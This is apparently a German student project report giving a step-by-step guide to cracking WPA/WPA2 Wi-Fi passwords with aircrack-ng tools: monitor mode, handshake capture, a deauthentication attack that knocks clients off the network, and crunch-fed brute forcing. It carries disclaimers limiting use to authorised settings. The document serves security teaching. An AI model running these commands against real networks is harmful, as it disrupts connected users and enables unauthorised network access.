6. Wifi Hacking

6.1. Übersicht

In diesem Projekt zeigen wir, wie ein Hacker das Passwort eines WPA/WPA2-geschützten Wi-Fi-Netzwerks mittels Brute Force angreifen kann.

Bitte beachten: Der beschriebene Prozess darf nur in legalen und genehmigten Umgebungen durchgeführt werden. Unerlaubtes Eindringen in Netzwerke ist illegal und strafbar.

6.2. Anforderungen

6.3. Durchführung

6.3.1. Bootbares Kali USB-Drive

Zuerst haben wir versucht, Kali Linux in einer virtuellen Maschine (VM) laufen zu lassen und eine USB-Wi-Fi-Karte in die VM einzubinden. Allerdings haben wir festgestellt, dass die Wi-Fi-Pakete in dieser Konfiguration nicht richtig aufgezeichnet werden. Um Probleme durch die VM-Umgebung zu vermeiden, haben wir ein bootbares USB-Laufwerk erstellt, um Kali Linux direkt auf der Hardware laufen zu lassen.

6.3.1.1. Erstellen des USB-Drive

  1. Das Live Boot Image von der Kali-Website herunterladen: https://www.kali.org/get-kali/#kali-live

  2. Mit Rufus das Image auf den USB-Stick laden. Es empfiehlt sich, dabei auch eine persistente Partition zu erstellen: https://www.kali.org/docs/usb/live-usb-install-with-windows/

6.3.1.2. Vom USB-Laufwerk booten

  1. PC herunterfahren.

  2. PC starten und das BIOS/UEFI öffnen.

  3. Secure Boot deaktivieren.

  4. Das USB-Laufwerk als Boot-Gerät auswählen.

  5. Speichern und BIOS/UEFI verlassen.

6.3.2. Monitoring Mode Setup

Um Pakete aufzeichnen zu können, muss die Wi-Fi-Karte in den Monitoring Mode versetzt werden.

  1. Sicherstellen, dass ein WLAN-Interface vorhanden ist: ifconfig -> Es sollte eine WLAN-Schnittstelle zu sehen sein.

  2. Störende Services beenden: sudo airmon-ng check kill

  3. WLAN-Interface stoppen: sudo ifconfig wlan0 down

  4. In den Monitor Mode wechseln: sudo iwconfig wlan0 mode monitor

  5. Interface starten: sudo ifconfig wlan0 up

  6. Überprüfen, ob es geklappt hat: iwconfig -> Bei wlan0 sollte angezeigt werden, dass sich das Interface im Monitor Mode befindet.

6.3.3. Paketaufzeichnung vorbereiten

  1. Informationen über die verfügbaren Netzwerke sammeln: airodump-ng wlan0

    Im Output sollten alle verfügbaren Netzwerke angezeigt werden. Wenn das Zielnetzwerk identifiziert ist, müssen die BSSID und der Kanal (Spalte: CH) notiert werden.

  2. Paketaufzeichnung starten: sudo airodump-ng -c <notierter chanel> -w Scan_network --bssid <notierte Bssid> wlan0

Im Output wird angezeigt wenn ein WPA-Handshake aufgezeichnet wurde. Airodump-ng muss im Hintergrund weiterlaufen.

6.3.4. Deauthentication-Angriff durchführen

Um nicht ewig warten zu müssen, bis sich ein Gerät neu in das WLAN einloggt, kann ein Deauthentication-Angriff durchgeführt werden. Durch diesen werden Geräte, die sich bereits im Netz befinden, vom WLAN abgemeldet. Wenn sich die Geräte dann automatisch neu verbinden, kann der Handshake aufgezeichnet werden.

  1. Angriff starten mit sudo aireplay-ng -0 0 -a <notierte Bssid> wlan0.

  2. Warten, bis airodump-ng ein Handshake aufgezeichnet hat.

  3. Sowohl aireplay-ng als auch airodump-ng können jetzt gestoppt werden.

6.3.5. Passwort Brute Forcen

Im letzten Schritt wird versucht, das Passwort durch Brute Forcing zu ermitteln. Ob das gelingt, hängt stark davon ab, wie komplex das gewählte Passwort ist.

Es gibt viele verschiedene Möglichkeiten, eine Liste mit potenziellen Passwörtern zu erstellen. Ein mögliches Tool ist Crunch.

Das Brute Forcing mit Crunch wird mit folgendem Befehl gestartet: sudo crunch 8 8 123456780 | aircrack-ng -w - Scan_Kamalesh-01.cap -e <wlan name>

6.3.6. Fazit

Dieser Leitfaden zeigt, wie man mit den richtigen Werkzeugen und Methoden WPA/WPA2-geschützte Wi-Fi-Netzwerke testen kann. Es wird jedoch betont, dass solche Techniken nur in autorisierten und legalen Kontexten angewendet werden dürfen.

6.4. Literaturverzeichnis